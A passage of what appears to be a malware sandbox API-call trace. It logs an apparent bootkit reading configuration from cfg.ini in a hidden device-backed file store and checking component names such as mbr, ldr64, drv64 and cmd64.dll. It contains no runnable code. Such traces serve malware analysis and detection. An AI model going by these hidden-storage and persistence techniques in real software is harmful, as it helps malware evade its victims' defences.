Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.178] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.178] IdePortDispatch () returned 0x103 [0128.179] KeWaitForMutexObject () returned 0x0 [0128.179] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.179] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.179] IdePortDispatch () returned 0x103 [0128.180] KeWaitForMutexObject () returned 0x0 [0128.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.180] KeLeaveCriticalRegion () [0128.180] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.180] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.180] KeEnterCriticalRegion () [0128.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.181] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.181] KeLeaveCriticalRegion () [0128.181] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.181] KeEnterCriticalRegion () [0128.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.181] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.181] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.181] KeLeaveCriticalRegion () [0128.181] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.181] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.181] KeEnterCriticalRegion () [0128.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.181] ExFreePoolWithTag (P=0xfffffa80037af830, Tag=0x0) [0128.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.181] KeLeaveCriticalRegion () [0128.181] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.181] ReleaseMutex (hMutex=0xf0) returned 1 [0128.181] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.181] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.181] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.181] KeEnterCriticalRegion () [0128.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.181] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.181] IdePortDispatch () returned 0x103 [0128.182] KeWaitForMutexObject () returned 0x0 [0128.182] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.182] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.182] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.182] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.182] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.182] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80018fefb0 [0128.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.182] KeLeaveCriticalRegion () [0128.182] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.182] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.182] KeEnterCriticalRegion () [0128.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.182] KeLeaveCriticalRegion () [0128.182] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.182] KeEnterCriticalRegion () [0128.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.182] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.182] IdePortDispatch () returned 0x103 [0128.183] KeWaitForMutexObject () returned 0x0 [0128.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.183] KeLeaveCriticalRegion () [0128.183] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.183] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.183] KeEnterCriticalRegion () [0128.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdb000 [0128.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.183] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.183] IdePortDispatch () returned 0x103 [0128.183] KeWaitForMutexObject () returned 0x0 [0128.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.183] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.183] IdePortDispatch () returned 0x103 [0128.184] KeWaitForMutexObject () returned 0x0 [0128.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.184] KeLeaveCriticalRegion () [0128.184] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.184] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.184] KeEnterCriticalRegion () [0128.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.184] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.184] KeLeaveCriticalRegion () [0128.184] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.184] KeEnterCriticalRegion () [0128.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.184] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.184] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.184] KeLeaveCriticalRegion () [0128.185] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.185] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.185] KeEnterCriticalRegion () [0128.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.185] ExFreePoolWithTag (P=0xfffffa80018fefb0, Tag=0x0) [0128.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.185] KeLeaveCriticalRegion () [0128.185] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.185] ReleaseMutex (hMutex=0xf0) returned 1 [0128.185] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.185] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.185] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.185] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.185] KeEnterCriticalRegion () [0128.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.185] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.185] IdePortDispatch () returned 0x103 [0128.185] KeWaitForMutexObject () returned 0x0 [0128.185] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.185] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.185] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.185] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.185] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.186] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.186] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.186] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.186] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.186] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.186] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.186] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.186] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.186] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.186] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.186] KeLeaveCriticalRegion () [0128.186] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.186] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.186] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.186] KeEnterCriticalRegion () [0128.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.186] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.186] IdePortDispatch () returned 0x103 [0128.186] KeWaitForMutexObject () returned 0x0 [0128.186] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.186] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.186] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.186] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.186] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.186] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.187] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.187] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.187] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.187] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.187] KeLeaveCriticalRegion () [0128.187] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.187] ReleaseMutex (hMutex=0x100) returned 1 [0128.187] Sleep (dwMilliseconds=0x2bf20) [0128.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f9bfb90, dwHighDateTime=0x1d24fa4)) [0128.195] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.195] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.195] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.195] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.195] KeEnterCriticalRegion () [0128.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.195] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.195] IdePortDispatch () returned 0x103 [0128.195] KeWaitForMutexObject () returned 0x0 [0128.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.195] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.195] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.195] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.195] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.195] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfed00 [0128.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.195] KeLeaveCriticalRegion () [0128.195] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.195] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.196] KeEnterCriticalRegion () [0128.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.196] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.196] KeLeaveCriticalRegion () [0128.196] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.196] KeEnterCriticalRegion () [0128.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.196] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.196] IdePortDispatch () returned 0x103 [0128.196] KeWaitForMutexObject () returned 0x0 [0128.196] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.196] KeLeaveCriticalRegion () [0128.196] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.196] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.196] KeEnterCriticalRegion () [0128.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.196] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cde000 [0128.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.196] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.196] IdePortDispatch () returned 0x103 [0128.197] KeWaitForMutexObject () returned 0x0 [0128.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.197] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.197] IdePortDispatch () returned 0x103 [0128.197] KeWaitForMutexObject () returned 0x0 [0128.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.197] KeLeaveCriticalRegion () [0128.197] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.198] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.198] KeEnterCriticalRegion () [0128.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.198] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.198] KeLeaveCriticalRegion () [0128.198] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.198] KeEnterCriticalRegion () [0128.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.198] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.198] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.198] KeLeaveCriticalRegion () [0128.198] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.198] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.198] KeEnterCriticalRegion () [0128.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.198] ExFreePoolWithTag (P=0xfffffa8003bfed00, Tag=0x0) [0128.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.198] KeLeaveCriticalRegion () [0128.198] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.198] ReleaseMutex (hMutex=0xf0) returned 1 [0128.198] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.198] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.199] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.199] KeEnterCriticalRegion () [0128.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.199] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.199] IdePortDispatch () returned 0x103 [0128.199] KeWaitForMutexObject () returned 0x0 [0128.199] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.199] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.199] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.199] strncpy (in: 